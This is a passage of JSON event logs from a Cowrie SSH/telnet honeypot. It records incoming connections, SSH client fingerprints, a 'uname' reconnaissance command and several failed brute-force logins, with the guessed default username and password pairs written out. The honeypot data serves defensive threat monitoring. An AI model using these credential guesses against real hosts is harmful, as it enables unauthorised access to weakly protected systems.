man-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.304408Z","src_ip":"103.189.235.176","session":"c5a70b8875e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.96856713294983,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.310174Z","src_ip":"65.60.27.33","session":"fbe3068d570f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.370910Z","src_ip":"176.65.132.254","session":"16ba656e957e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.374510Z","src_ip":"176.65.132.254","session":"16ba656e957e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer1","message":"login attempt [developer/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.380954Z","src_ip":"190.129.122.12","session":"52e1d8f3c69e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.458935Z","src_ip":"176.65.132.254","session":"16ba656e957e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.463166Z","src_ip":"176.65.132.254","session":"16ba656e957e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.565370321273804,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.635493Z","src_ip":"62.210.97.77","session":"206b7213d583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":35590,"dst_ip":"159.203.135.109","dst_port":23,"session":"558c0973c9d2","protocol":"telnet","message":"New connection: 136.144.139.78:35590 (159.203.135.109:23) [session: 558c0973c9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:13.708875Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwert12345","message":"login attempt [test/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:14.275661Z","src_ip":"103.189.235.176","session":"c5a70b8875e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33182,"dst_ip":"10.17.0.5","dst_port":23,"session":"32804571ec49","protocol":"telnet","message":"New connection: 62.210.97.77:33182 (10.17.0.5:23) [session: 32804571ec49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:14.390053Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:14.559444Z","src_ip":"190.129.122.12","session":"52e1d8f3c69e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.762065172195435,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:14.667065Z","src_ip":"62.210.97.77","session":"5aafdedcae6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:15.515660Z","src_ip":"103.189.235.176","session":"c5a70b8875e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.5912082195282,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:15.687041Z","src_ip":"62.210.97.77","session":"3d9535d218dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.54598999023438,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:15.867117Z","src_ip":"165.232.131.181","session":"f97f7d577150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.0214159488678,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:16.147003Z","src_ip":"65.60.27.33","session":"6ffb13032cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33184,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef307837d15b","protocol":"telnet","message":"New connection: 62.210.97.77:33184 (10.17.0.5:23) [session: ef307837d15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:16.509845Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58500,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a1961f50e91","protocol":"ssh","message":"New connection: 176.65.132.254:58500 (10.17.0.5:22) [session: 2a1961f50e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:16.559635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:16.564654Z","src_ip":"176.65.132.254","session":"2a1961f50e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:16.646585Z","src_ip":"176.65.132.254","session":"2a1961f50e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:16.897824Z","src_ip":"176.65.132.254","session":"2a1961f50e91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43180,"dst_ip":"10.17.0.5","dst_port":23,"session":"e17bd3d6ae58","protocol":"telnet","message":"New connection: 65.60.27.33:43180 (10.17.0.5:23) [session: e17bd3d6ae58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:17.283818Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33198,"dst_ip":"10.17.0.5","dst_port":23,"session":"999a6c99bb17","protocol":"telnet","message":"New connection: 62.210.97.77:33198 (10.17.0.5:23) [session: 999a6c99bb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:17.339985Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:17.982437Z","src_ip":"176.65.132.254","session":"2a1961f50e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.672497272491455,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:18.247287Z","src_ip":"62.210.97.77","session":"0a09d44580ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44000,"dst_ip":"10.17.0.5","dst_port":23,"session":"88db4f390c01","protocol":"telnet","message":"New connection: 62.210.97.77:44000 (10.17.0.5:23) [session: 88db4f390c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:18.677155Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59288,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b515a5f478b","protocol":"telnet","message":"New connection: 134.209.8.29:59288 (159.203.135.109:23) [session: 0b515a5f478b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:19.055072Z"}
{"eventid":"cowrie.session.closed","duration":36.2624294757843,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:19.720384Z","src_ip":"62.210.97.77","session":"78b1fcaea8c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58516,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a16821eac1","protocol":"ssh","message":"New connection: 176.65.132.254:58516 (10.17.0.5:22) [session: 69a16821eac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:20.575690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:20.580356Z","src_ip":"176.65.132.254","session":"69a16821eac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:20.662358Z","src_ip":"176.65.132.254","session":"69a16821eac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76280069351196,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:20.683780Z","src_ip":"62.210.97.77","session":"e142565840be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.55737662315369,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:20.704801Z","src_ip":"62.210.97.77","session":"e6a9b9799722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44014,"dst_ip":"10.17.0.5","dst_port":23,"session":"158e9cd33586","protocol":"telnet","message":"New connection: 62.210.97.77:44014 (10.17.0.5:23) [session: 158e9cd33586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:20.874800Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:20.921250Z","src_ip":"176.65.132.254","session":"69a16821eac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59286,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eb8bf51d32c","protocol":"telnet","message":"New connection: 134.209.8.29:59286 (159.203.135.109:23) [session: 6eb8bf51d32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:20.964433Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44022,"dst_ip":"10.17.0.5","dst_port":23,"session":"c315f3a92c67","protocol":"telnet","message":"New connection: 62.210.97.77:44022 (10.17.0.5:23) [session: c315f3a92c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:21.912330Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:22.005071Z","src_ip":"176.65.132.254","session":"69a16821eac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37180,"dst_ip":"10.17.0.5","dst_port":23,"session":"e275ddd0e12c","protocol":"telnet","message":"New connection: 165.232.131.181:37180 (10.17.0.5:23) [session: e275ddd0e12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:22.241838Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37582,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5efdf10a6ff","protocol":"telnet","message":"New connection: 165.232.131.181:37582 (10.17.0.5:23) [session: b5efdf10a6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:22.265422Z"}
{"eventid":"cowrie.session.closed","duration":1.3217244148254395,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:22.286057Z","src_ip":"134.209.8.29","session":"6eb8bf51d32c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44032,"dst_ip":"10.17.0.5","dst_port":23,"session":"287d2595ae9a","protocol":"telnet","message":"New connection: 62.210.97.77:44032 (10.17.0.5:23) [session: 287d2595ae9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:22.380348Z"}
{"eventid":"cowrie.session.closed","duration":34.6113018989563,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:22.606788Z","src_ip":"62.210.97.77","session":"9babd37353ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49362,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df7fec34017","protocol":"telnet","message":"New connection: 65.60.27.33:49362 (10.17.0.5:23) [session: 6df7fec34017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:22.795960Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44042,"dst_ip":"10.17.0.5","dst_port":23,"session":"45714d04e894","protocol":"telnet","message":"New connection: 62.210.97.77:44042 (10.17.0.5:23) [session: 45714d04e894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:24.316960Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52748,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdd8e6738b8b","protocol":"ssh","message":"New connection: 176.65.132.254:52748 (10.17.0.5:22) [session: bdd8e6738b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:24.484273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:24.489325Z","src_ip":"176.65.132.254","session":"bdd8e6738b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:24.575601Z","src_ip":"176.65.132.254","session":"bdd8e6738b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:24.839339Z","src_ip":"176.65.132.254","session":"bdd8e6738b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.338167905807495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:25.057336Z","src_ip":"136.144.139.78","session":"9b1288a2d52e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:25.937002Z","src_ip":"176.65.132.254","session":"bdd8e6738b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44046,"dst_ip":"10.17.0.5","dst_port":23,"session":"86065ac01ca1","protocol":"telnet","message":"New connection: 62.210.97.77:44046 (10.17.0.5:23) [session: 86065ac01ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:26.614983Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44050,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe6fb33c0486","protocol":"telnet","message":"New connection: 62.210.97.77:44050 (10.17.0.5:23) [session: fe6fb33c0486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:27.858220Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44052,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cfa30f5012f","protocol":"telnet","message":"New connection: 62.210.97.77:44052 (10.17.0.5:23) [session: 3cfa30f5012f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:28.154419Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52758,"dst_ip":"10.17.0.5","dst_port":22,"session":"50a28d3a767d","protocol":"ssh","message":"New connection: 176.65.132.254:52758 (10.17.0.5:22) [session: 50a28d3a767d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:28.436998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:28.441509Z","src_ip":"176.65.132.254","session":"50a28d3a767d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:28.523515Z","src_ip":"176.65.132.254","session":"50a28d3a767d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:28.770561Z","src_ip":"176.65.132.254","session":"50a28d3a767d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:29.857607Z","src_ip":"176.65.132.254","session":"50a28d3a767d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40192,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a80502fd84","protocol":"telnet","message":"New connection: 62.210.97.77:40192 (10.17.0.5:23) [session: b5a80502fd84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:22:30.312664Z"}
